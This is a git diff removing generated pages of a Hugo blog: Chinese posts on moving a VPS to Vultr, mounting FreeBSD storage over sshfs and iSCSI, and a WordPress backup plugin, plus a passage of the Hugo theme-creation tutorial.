    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/blog-e5-8f-88-e6-90-ac-e5-ae-b6-e5-95-a6-ef-bc-81/index.html b/themes/public/article/blog-e5-8f-88-e6-90-ac-e5-ae-b6-e5-95-a6-ef-bc-81/index.html deleted file mode 100644 index 3badd046..00000000 --- a/themes/public/article/blog-e5-8f-88-e6-90-ac-e5-ae-b6-e5-95-a6-ef-bc-81/index.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - - - - [BLOG] 又搬家啦! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [BLOG] 又搬家啦!

    -
    - - - 2016-03-08 - - - - - - - - - 其他 - - - - - -
    - - -

    最近DigitalOcean(DO) 新加坡機房的速度越來越慢

    - -

    只是拿來做跳板上 PTT 而已,就常常頓爹,用得很不爽

    - -

    剛好在測試vultr 的機器,發現日本機房速度滿快的,而且也有FreeBSD可以用

    - -

    就花了點時間從DO轉到vultr來,觀察一段時間看看吧..

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/blog-e6-96-b0-e5-a2-9e-vultr-storage-vps-e6-8f-90-e4-be-9b-iscsi-e7-b5-a6wordpress-e4-b8-bb-e6-a9-9f-e4-bd-bf-e7-94-a8/index.html b/themes/public/article/blog-e6-96-b0-e5-a2-9e-vultr-storage-vps-e6-8f-90-e4-be-9b-iscsi-e7-b5-a6wordpress-e4-b8-bb-e6-a9-9f-e4-bd-bf-e7-94-a8/index.html deleted file mode 100644 index 61fb0abb..00000000 --- a/themes/public/article/blog-e6-96-b0-e5-a2-9e-vultr-storage-vps-e6-8f-90-e4-be-9b-iscsi-e7-b5-a6wordpress-e4-b8-bb-e6-a9-9f-e4-bd-bf-e7-94-a8/index.html +++ /dev/null @@ -1,752 +0,0 @@ - - - - - - - - - - [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - -

    系統開起來之後,先到管理介面替兩台主機都新增一個 private IP,然後兩台主機都需要重新開機

    - -

    firefox_2016-03-10_11-36-04

    - -

     

    - -

    重新開機後,必須要手動到系統內去新增虛擬 IP

    - -

    就分別ssh 到這兩台機器,然後用bsdconfig 去設定 Network Management

    - -

    (By the way , Storage Instance 的效能真的差滿多的,兩台一起設定,就能比較出來)

    - -

    設定完之後,兩台ping 一下,應該要能通 -> root@wpstorage:/etc # ping 10.99.0.11 -> -> PING 10.99.0.11 (10.99.0.11): 56 data bytes -> -> 64 bytes from 10.99.0.11: icmp_seq=0 ttl=64 time=0.469 ms -> -> 64 bytes from 10.99.0.11: icmp_seq=1 ttl=64 time=0.715 ms -> -> 64 bytes from 10.99.0.11: icmp_seq=2 ttl=64 time=0.511 ms -> -> 64 bytes from 10.99.0.11: icmp_seq=3 ttl=64 time=0.755 ms -> -> ^C -> -> — 10.99.0.11 ping statistics — -> -> 4 packets transmitted, 4 packets received, 0.0% packet loss -> -> round-trip min/avg/max/stddev = 0.4690.6120.7550.124 ms -接下來就來測試怎麼把Storage Instance的空間掛來 WP 使用

    - -

    先測試比較簡單的 sshfs

    - -

    在WP主機上,先載入fuse.ko -> kldload fuse.ko -然後 sshfs root@10.99.0.11 /mnt

    - -

    輸入密碼之後,就把Storage主機的硬碟掛載 /mnt 底下了

    - -

    測試一下速度

    - -

    root@wp:/iscsi # dd if=/dev/zero of=testfile bs=1k count=100000 -100000+0 records in -100000+0 records out -102400000 bytes transferred in 17.661407 secs (1056241 bytes/sec)

    - -

    WHAT !!!!!?????

    - -

    這效能是怎麼回事???糟糕到一個不行啊!!!換算起來才  1mb 不到!?

    - -

    有沒有那麼糟糕啊??看來用 sshfs 行不通!

    - -

    馬上 umount

    - -

    既然用fuse 去掛載進來的效能這麼糟糕,那 curlftpfs 應該也不用測試了,跳過,改用 iscsi 好了

    - -

    翻了一下 google ,好像 FreeBSD 10.2的 iscsi 改用 ctl 來處理

    - -

    於是參考這篇文章  用FreeBSD10搭建基于ZFS的iSCSI服务 跳過 ZFS 的部分來建立iscsi target

    - -
    - -

     

    - -

    以下這段在 storage 主機操作

    - -

    首先修改 /etc/rc.conf 加入 ->

    ctld_enable=“YES”
    ->
    ->
    -> 

    - -

    接著編輯 ctld 的設定檔

    - -

    vim /etc/ctld.conf ->

    portal-group san {
    ->
    ->         discovery-auth-group no-authentication
    ->
    ->         listen 10.99.0.10 #改成自己的 IP
    ->
    -> }
    ->
    ->
    -> target iqn.2014-05.com.example:target0 { #target name 可改可不改,就先保留,不要動吧
    ->
    ->         auth-group no-authentication
    ->
    ->         portal-group san
    ->
    ->         lun 0 {
    ->
    ->                 path /mnt/iscsifile #指定 iscsi file 的位置
    ->
    ->                 blocksize 4096
    ->
    ->                 size 100G #指定大小
    ->
    ->         }
    ->
    -> }
    -建立一個 target(iqn.2014-05.com.example:target0 )、一個 portal-group (san) 不需要認證 (反正這個LAN只有我自己的主機能存取)

    - -

    再來修改ctld.conf 的權限 ->

    chmod 600 /etc/ctl.conf
    -啟動 ctld 服務 ->
    service ctld start
    -檢查 /var/log/messages 看看有沒有啥錯誤,正常來說應該不會有啥問題。

    - -
    - -

     

    - -

    iscsi target 到這邊設定OK,接著來去WP主機建立 iscsi initiator

    - -

    先載入 iscsi_initiator.ko -> kldload -v iscsi_initiator.ko -如果以後開機要自動載入的話

    - -

    vim /boot/loader.conf -新增底下這一行 -> iscsi_initiator_load=”YES” -存檔後離開,修改檔案權限 -> chmod 755  /boot/loader.conf -再來,搜尋一下 iscsi target -> iscontrol -v -d targetaddress=10.99.0.10 initiatorname=iqn -> -> -> #targetaddress 要改成 storage主機的 IP -如果一切沒問題,應該會出現這樣的訊息 -> adding ‘targetaddress=10.99.0.10’ -> -> I-: cmd=0x3 len=265 -> -> SessionType=Discovery -> -> InitiatorName=nxl -> -> MaxBurstLength=131072 -> -> HeaderDigest=None,CRC32C -> -> DataDigest=None,CRC32C -> -> MaxRecvDataSegmentLength=65536 -> -> ErrorRecoveryLevel=0 -> -> DefaultTime2Wait=0 -> -> DefaultTime2Retain=0 -> -> DataPDUInOrder=Yes -> -> DataSequenceInOrder=Yes -> -> MaxOutstandingR2T=1 -> -> T-: cmd=0x23 len=212 -> -> MaxBurstLength=131072 -> -> HeaderDigest=None -> -> DataDigest=None -> -> MaxRecvDataSegmentLength=131072 -> -> ErrorRecoveryLevel=0 -> -> DefaultTime2Wait=0 -> -> DefaultTime2Retain=0 -> -> DataPDUInOrder=Yes -> -> DataSequenceInOrder=Yes -> -> MaxOutstandingR2T=1 -> -> I-: cmd=0x4 len=16 -> -> SendTargets=All -> -> T-: cmd=0x24 len=75 -> -> TargetName=iqn.2014-05.com.example:target0 -> -> TargetAddress=10.99.0.10:3260,2 -> -> TargetName=iqn.2014-05.com.example:target0 -> -> TargetAddress=10.99.0.10:3260,2 -> -> I-: cmd=0x6 len=0 -> -> T-: cmd=0x26 len=0 -雖然很多看不懂,但是看樣子似乎是有找到,把 targetName / TargetAddress 抄下來

    - -

    接著設定 iscsi initiator的設定檔

    - -

    vim /etc/iscsi.conf -> wpiscsi { -> -> authmethod      = CHAP -> -> chapIName       = YOUR-ISCSI-USERNAME #認證名稱 沒用到 -> -> chapSecret      = YOUR-ISCSI-PASSWORD #認證密碼 沒用到 -> -> initiatorname   = iqn -> -> TargetName      = iqn.2014-05.com.example:target0 #改成剛剛搜尋回傳的結果 -> -> TargetAddress   = 10.99.0.10:3260,2 # 改成剛剛搜尋回傳的結果 -> -> } -存檔離開、設定權限 -> chmod 755 /etc/iscsi.conf -測試連線 -> iscontrol -c /etc/iscsi.conf -n wpiscsi -正常的話,會出現類似這樣的訊息 -> iscontrol[8146]: running -dmesg 看一下,最底下應該會出現找到新磁碟的訊息 -> da0 at iscsi0 bus 0 scbus2 target 0 lun 0 -> -> da0: <FREEBSD CTLDISK 0001> Fixed Direct Access SPC-4 SCSI device -> -> da0: Serial Number MYSERIAL   0 -> -> da0: 102400MB (26214400 4096 byte sectors: 255H 63S/T 1631C) -BINGO !抓到了!

    - -

    再來就是去bsdconfig 分割,然後掛載 -> root@wp:/iscsi # mount -> -> /dev/vtbd0p2 on / (ufs, local, soft-updates) -> -> devfs on /dev (devfs, local, multilabel) -> -> /dev/da0s1a on /iscsi (ufs, local, journaled soft-updates) -> -> root@wp:/iscsi # -馬上來測試一下速度看看!可以發現磁碟寫入速度有大幅度的增加!! -> root@wp:/iscsi # dd if=/dev/zero of=testfile bs=1k count=1000 -> -> 1000+0 records in -> -> 1000+0 records out -> -> 1024000 bytes transferred in 0.005329 secs (192151364 bytes/sec) -> -> root@wp:/iscsi # dd if=/dev/zero of=testfile bs=1k count=10000 -> -> 10000+0 records in -> -> 10000+0 records out -> -> 10240000 bytes transferred in 0.196187 secs (52195094 bytes/sec) -> -> root@wp:/iscsi # dd if=/dev/zero of=testfile bs=1k count=100000 -> -> 100000+0 records in -> -> 100000+0 records out -> -> 102400000 bytes transferred in 17.661407 secs (5797953 bytes/sec) -> -> root@wp:/iscsi # dd if=/dev/zero of=testfile bs=1k count=100000 -> -> 100000+0 records in -> -> 100000+0 records out -> -> 102400000 bytes transferred in 9.815858 secs (10432099 bytes/sec) - 

    - -

    接著編輯 /root/iscsi.sh ,重開機就去執行這個指令,把iscsi 掛進來 -> #!/bin/sh -> -> iscontrol -c /etc/iscsi.conf -n wpiscsi -> -> sleep 60 -> -> mount /dev/da0s1d /iscsi -chmod u+rwx /root/iscsi.sh

    - -

    大功告成!

    - -

    日後重開機的話,手動執行 iscsi.sh ,就可以了!

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/blogwordpress-e4-b8-8a-e8-b6-85-e5-a5-bd-e7-94-a8-e7-9a-84-e5-82-99-e4-bb-bd-e5-a4-96-e6-8e-9b-backwpup/index.html b/themes/public/article/blogwordpress-e4-b8-8a-e8-b6-85-e5-a5-bd-e7-94-a8-e7-9a-84-e5-82-99-e4-bb-bd-e5-a4-96-e6-8e-9b-backwpup/index.html deleted file mode 100644 index d7194162..00000000 --- a/themes/public/article/blogwordpress-e4-b8-8a-e8-b6-85-e5-a5-bd-e7-94-a8-e7-9a-84-e5-82-99-e4-bb-bd-e5-a4-96-e6-8e-9b-backwpup/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - [BLOG]Wordpress上超好用的備份外掛 BackWPup | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [BLOG]Wordpress上超好用的備份外掛 BackWPup

    -
    - - - 2013-10-07 - - - - - - - - - BLOG - - - - - -
    - - -

    這兩天因為VPS搬家的關係,又稍微研究了一下WP的備份外掛。

    - -

    本來我是用snapshot backup / simple backup

    - -

    這兩個都支援自動排程和備份到遠端的功能。

    - -

    不過,都不支援RESTORE…雖說我在還原時,大部分都是在CONSOLE底下直接操作,不過還是希望外掛能夠考慮到這一點。

    - -

    看到snapshot backup的作者,有開發了另一套新的備份外掛– BackWPup

    - -

    可以排程、備份到遠端(FTP/AMAZON S3/DROPBOX),也加入了還原的功能!(不過我大概還是不會去軟體裡面用吧,直接在CONSOLE底下解壓縮、MYSQLDUMP快多了),而且LOG很詳細!可以直接看到BACKUP SCRIPT在執行的情況,非常方便!

    - -

    可以在備份工作列表中,直接啟動備份。還會有進度可以看!

    - -

    backwpup-02

    - -

     

    - -

     

    - -

     

    - -

    按下 Display Working Log ,就會出現備份SCRIPT執行的狀況,拿來DEBUG再方便不過了!

    - -

    backwpup-03

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/creating-a-new-theme/index.html b/themes/public/article/creating-a-new-theme/index.html deleted file mode 100644 index 0a31f27c..00000000 --- a/themes/public/article/creating-a-new-theme/index.html +++ /dev/null @@ -1,1500 +0,0 @@ - - - - - - - - - - Creating a new theme | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Creating a new theme

    -
    - - - 2015-06-24 - - - - - - - - - starting - - - - - - test1 - -
    - - - - -

    Introduction

    - -

    This tutorial will show you how to create a simple theme in Hugo. I assume that you are familiar with HTML, the bash command line, and that you are comfortable using Markdown to format content. I’ll explain how Hugo uses templates and how you can organize your templates to create a theme. I won’t cover using CSS to style your theme.

    - -

    We’ll start with creating a new site with a very basic template. Then we’ll add in a few pages and posts. With small variations on that, you will be able to create many different types of web sites.

    - -

    In this tutorial, commands that you enter will start with the “$” prompt. The output will follow. Lines that start with “#” are comments that I’ve added to explain a point. When I show updates to a file, the “:wq” on the last line means to save the file.

    - -

    Here’s an example:

    - -
    ## this is a comment
    -$ echo this is a command
    -this is a command
    -
    -## edit the file
    -$vi foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -:wq
    -
    -## show it
    -$ cat foo.md
    -+++
    -date = "2014-09-28"
    -title = "creating a new theme"
    -+++
    -
    -bah and humbug
    -$
    -
    - -

    Some Definitions

    - -

    There are a few concepts that you need to understand before creating a theme.

    - -

    Skins

    - -

    Skins are the files responsible for the look and feel of your site. It’s the CSS that controls colors and fonts, it’s the Javascript that determines actions and reactions. It’s also the rules that Hugo uses to transform your content into the HTML that the site will serve to visitors.

    - -

    You have two ways to create a skin. The simplest way is to create it in the layouts/ directory. If you do, then you don’t have to worry about configuring Hugo to recognize it. The first place that Hugo will look for rules and files is in the layouts/ directory so it will always find the skin.

    - -

    Your second choice is to create it in a sub-directory of the themes/ directory. If you do, then you must always tell Hugo where to search for the skin. It’s extra work, though, so why bother with it?

    - -

    The difference between creating a skin in layouts/ and creating it in themes/ is very subtle. A skin in layouts/ can’t be customized without updating the templates and static files that it is built from. A skin created in themes/, on the other hand, can be and that makes it easier for other people to use it.

    - -

    The rest of this tutorial will call a skin created in the themes/ directory a theme.

    - -

    Note that you can use this tutorial to create a skin in the layouts/ directory if you wish to. The main difference will be that you won’t need to update the site’s configuration file to use a theme.

    - -

    The Home Page

    - -

    The home page, or landing page, is the first page that many visitors to a site see. It is the index.html file in the root directory of the web site. Since Hugo writes files to the public/ directory, our home page is public/index.html.

    - -

    Site Configuration File

    - -

    When Hugo runs, it looks for a configuration file that contains settings that override default values for the entire site. The file can use TOML, YAML, or JSON. I prefer to use TOML for my configuration files. If you prefer to use JSON or YAML, you’ll need to translate my examples. You’ll also need to change the name of the file since Hugo uses the extension to determine how to process it.

    - -

    Hugo translates Markdown files into HTML. By default, Hugo expects to find Markdown files in your content/ directory and template files in your themes/ directory. It will create HTML files in your public/ directory. You can change this by specifying alternate locations in the configuration file.

    - -

    Content

    - -

    Content is stored in text files that contain two sections. The first section is the “front matter,” which is the meta-information on the content. The second section contains Markdown that will be converted to HTML.

    - -

    Front Matter

    - -

    The front matter is information about the content. Like the configuration file, it can be written in TOML, YAML, or JSON. Unlike the configuration file, Hugo doesn’t use the file’s extension to know the format. It looks for markers to signal the type. TOML is surrounded by “+++”, YAML by “---”, and JSON is enclosed in curly braces. I prefer to use TOML, so you’ll need to translate my examples if you prefer YAML or JSON.

    - -

    The information in the front matter is passed into the template before the content is rendered into HTML.

    - -

    Markdown

    - -

    Content is written in Markdown which makes it easier to create the content. Hugo runs the content through a Markdown engine to create the HTML which will be written to the output file.

    - -

    Template Files

    - -

    Hugo uses template files to render content into HTML. Template files are a bridge between the content and presentation. Rules in the template define what content is published, where it’s published to, and how it will rendered to the HTML file. The template guides the presentation by specifying the style to use.

    - -

    There are three types of templates: single, list, and partial. Each type takes a bit of content as input and transforms it based on the commands in the template.

    - -

    Hugo uses its knowledge of the content to find the template file used to render the content. If it can’t find a template that is an exact match for the content, it will shift up a level and search from there. It will continue to do so until it finds a matching template or runs out of templates to try. If it can’t find a template, it will use the default template for the site.

    - -

    Please note that you can use the front matter to influence Hugo’s choice of templates.

    - -

    Single Template

    - -

    A single template is used to render a single piece of content. For example, an article or post would be a single piece of content and use a single template.

    - -

    List Template

    - -

    A list template renders a group of related content. That could be a summary of recent postings or all articles in a category. List templates can contain multiple groups.

    - -

    The homepage template is a special type of list template. Hugo assumes that the home page of your site will act as the portal for the rest of the content in the site.

    - -

    Partial Template

    - -

    A partial template is a template that can be included in other templates. Partial templates must be called using the “partial” template command. They are very handy for rolling up common behavior. For example, your site may have a banner that all pages use. Instead of copying the text of the banner into every single and list template, you could create a partial with the banner in it. That way if you decide to change the banner, you only have to change the partial template.

    - -

    Create a New Site

    - -

    Let’s use Hugo to create a new web site. I’m a Mac user, so I’ll create mine in my home directory, in the Sites folder. If you’re using Linux, you might have to create the folder first.

    - -

    The “new site” command will create a skeleton of a site. It will give you the basic directory structure and a useable configuration file.

    - -
    $ hugo new site ~/Sites/zafta
    -$ cd ~/Sites/zafta
    -$ ls -l
    -total 8
    -drwxr-xr-x  7 quoha  staff  238 Sep 29 16:49 .
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 16:49 ..
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    Take a look in the content/ directory to confirm that it is empty.

    - -

    The other directories (archetypes/, layouts/, and static/) are used when customizing a theme. That’s a topic for a different tutorial, so please ignore them for now.

    - -

    Generate the HTML For the New Site

    - -

    Running the hugo command with no options will read all the available content and generate the HTML files. It will also copy all static files (that’s everything that’s not content). Since we have an empty site, it won’t do much, but it will do it very quickly.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    The “--verbose” flag gives extra information that will be helpful when we build the template. Every line of the output that starts with “INFO:” or “WARN:” is present because we used that flag. The lines that start with “WARN:” are warning messages. We’ll go over them later.

    - -

    We can verify that the command worked by looking at the directory again.

    - -
    $ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -$
    -
    - -

    See that new public/ directory? Hugo placed all generated content there. When you’re ready to publish your web site, that’s the place to start. For now, though, let’s just confirm that we have what we’d expect from a site with no content.

    - -
    $ ls -l public
    -total 16
    --rw-r--r--  1 quoha  staff  416 Sep 29 17:02 index.xml
    --rw-r--r--  1 quoha  staff  262 Sep 29 17:02 sitemap.xml
    -$
    -
    - -

    Hugo created two XML files, which is standard, but there are no HTML files.

    - -

    Test the New Site

    - -

    Verify that you can run the built-in web server. It will dramatically shorten your development cycle if you do. Start it by running the “server” command. If it is successful, you will see output similar to the following:

    - -
    $ hugo server --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -Serving pages from /Users/quoha/Sites/zafta/public
    -Web Server is available at http://localhost:1313
    -Press Ctrl+C to stop
    -
    - -

    Connect to the listed URL (it’s on the line that starts with “Web Server”). If everything is working correctly, you should get a page that shows the following:

    - -
    index.xml
    -sitemap.xml
    -
    - -

    That’s a listing of your public/ directory. Hugo didn’t create a home page because our site has no content. When there’s no index.html file in a directory, the server lists the files in the directory, which is what you should see in your browser.

    - -

    Let’s go back and look at those warnings again.

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -WARN: 2014/09/29 Unable to locate layout: [404.html]
    -
    - -

    That second warning is easier to explain. We haven’t created a template to be used to generate “page not found errors.” The 404 message is a topic for a separate tutorial.

    - -

    Now for the first warning. It is for the home page. You can tell because the first layout that it looked for was “index.html.” That’s only used by the home page.

    - -

    I like that the verbose flag causes Hugo to list the files that it’s searching for. For the home page, they are index.html, _default/list.html, and _default/single.html. There are some rules that we’ll cover later that explain the names and paths. For now, just remember that Hugo couldn’t find a template for the home page and it told you so.

    - -

    At this point, you’ve got a working installation and site that we can build upon. All that’s left is to add some content and a theme to display it.

    - -

    Create a New Theme

    - -

    Hugo doesn’t ship with a default theme. There are a few available (I counted a dozen when I first installed Hugo) and Hugo comes with a command to create new themes.

    - -

    We’re going to create a new theme called “zafta.” Since the goal of this tutorial is to show you how to fill out the files to pull in your content, the theme will not contain any CSS. In other words, ugly but functional.

    - -

    All themes have opinions on content and layout. For example, Zafta uses “post” over “blog”. Strong opinions make for simpler templates but differing opinions make it tougher to use themes. When you build a theme, consider using the terms that other themes do.

    - -

    Create a Skeleton

    - -

    Use the hugo “new” command to create the skeleton of a theme. This creates the directory structure and places empty files for you to fill out.

    - -
    $ hugo new theme zafta
    -
    -$ ls -l
    -total 8
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 archetypes
    --rw-r--r--  1 quoha  staff   82 Sep 29 16:49 config.toml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 content
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 layouts
    -drwxr-xr-x  4 quoha  staff  136 Sep 29 17:02 public
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 16:49 static
    -drwxr-xr-x  3 quoha  staff  102 Sep 29 17:31 themes
    -
    -$ find themes -type f | xargs ls -l
    --rw-r--r--  1 quoha  staff  1081 Sep 29 17:31 themes/zafta/LICENSE.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/archetypes/default.md
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff     0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    --rw-r--r--  1 quoha  staff    93 Sep 29 17:31 themes/zafta/theme.toml
    -$
    -
    - -

    The skeleton includes templates (the files ending in .html), license file, a description of your theme (the theme.toml file), and an empty archetype.

    - -

    Please take a minute to fill out the theme.toml and LICENSE.md files. They’re optional, but if you’re going to be distributing your theme, it tells the world who to praise (or blame). It’s also nice to declare the license so that people will know how they can use the theme.

    - -
    $ vi themes/zafta/theme.toml
    -author = "michael d henderson"
    -description = "a minimal working template"
    -license = "MIT"
    -name = "zafta"
    -source_repo = ""
    -tags = ["tags", "categories"]
    -:wq
    -
    -## also edit themes/zafta/LICENSE.md and change
    -## the bit that says "YOUR_NAME_HERE"
    -
    - -

    Note that the the skeleton’s template files are empty. Don’t worry, we’ll be changing that shortly.

    - -
    $ find themes/zafta -name '*.html' | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/list.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/_default/single.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/footer.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 themes/zafta/layouts/partials/header.html
    -$
    -
    - -

    Update the Configuration File to Use the Theme

    - -

    Now that we’ve got a theme to work with, it’s a good idea to add the theme name to the configuration file. This is optional, because you can always add “-t zafta” on all your commands. I like to put it the configuration file because I like shorter command lines. If you don’t put it in the configuration file or specify it on the command line, you won’t use the template that you’re expecting to.

    - -

    Edit the file to add the theme, add a title for the site, and specify that all of our content will use the TOML format.

    - -
    $ vi config.toml
    -theme = "zafta"
    -baseurl = ""
    -languageCode = "en-us"
    -title = "zafta - totally refreshing"
    -MetaDataFormat = "toml"
    -:wq
    -
    -$
    -
    - -

    Generate the Site

    - -

    Now that we have an empty theme, let’s generate the site again.

    - -
    $ hugo --verbose
    -INFO: 2014/09/29 Using config file: /Users/quoha/Sites/zafta/config.toml
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/themes/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -INFO: 2014/09/29 syncing from /Users/quoha/Sites/zafta/static/ to /Users/quoha/Sites/zafta/public/
    -WARN: 2014/09/29 Unable to locate layout: [404.html theme/404.html]
    -0 draft content
    -0 future content
    -0 pages created
    -0 tags created
    -0 categories created
    -in 2 ms
    -$
    -
    - -

    Did you notice that the output is different? The warning message for the home page has disappeared and we have an additional information line saying that Hugo is syncing from the theme’s directory.

    - -

    Let’s check the public/ directory to see what Hugo’s created.

    - -
    $ ls -l public
    -total 16
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 css
    --rw-r--r--  1 quoha  staff    0 Sep 29 17:56 index.html
    --rw-r--r--  1 quoha  staff  407 Sep 29 17:56 index.xml
    -drwxr-xr-x  2 quoha  staff   68 Sep 29 17:56 js
    --rw-r--r--  1 quoha  staff  243 Sep 29 17:56 sitemap.xml
    -$
    -
    - -

    Notice four things:

    - -
      -
    1. Hugo created a home page. This is the file public/index.html.
    2. -
    3. Hugo created a css/ directory.
    4. -
    5. Hugo created a js/ directory.
    6. -
    7. Hugo claimed that it created 0 pages. It created a file and copied over static files, but didn’t create any pages. That’s because it considers a “page” to be a file created directly from a content file. It doesn’t count things like the index.html files that it creates automatically.
    8. -
    - -

    The Home Page

    - -

    Hugo supports many different types of templates. The home page is special because it gets its own type of template and its own template file. The file, layouts/index.html, is used to generate the HTML for the home page. The Hugo documentation says that this is the only required template, but that depends. Hugo’s warning message shows that it looks for three different templates:

    - -
    WARN: 2014/09/29 Unable to locate layout: [index.html _default/list.html _default/single.html]
    -
    - -

    If it can’t find any of these, it completely skips creating the home page. We noticed that when we built the site without having a theme installed.

    - -

    When Hugo created our theme, it created an empty home page template. Now, when we build the site, Hugo finds the template and uses it to generate the HTML for the home page. Since the template file is empty, the HTML file is empty, too. If the template had any rules in it, then Hugo would have used them to generate the home page.

    - -
    $ find . -name index.html | xargs ls -l
    --rw-r--r--  1 quoha  staff  0 Sep 29 20:21 ./public/index.html
    --rw-r--r--  1 quoha  staff  0 Sep 29 17:31 ./themes/zafta/layouts/index.html
    -$
    -
    - -

    The Magic of Static

    - -

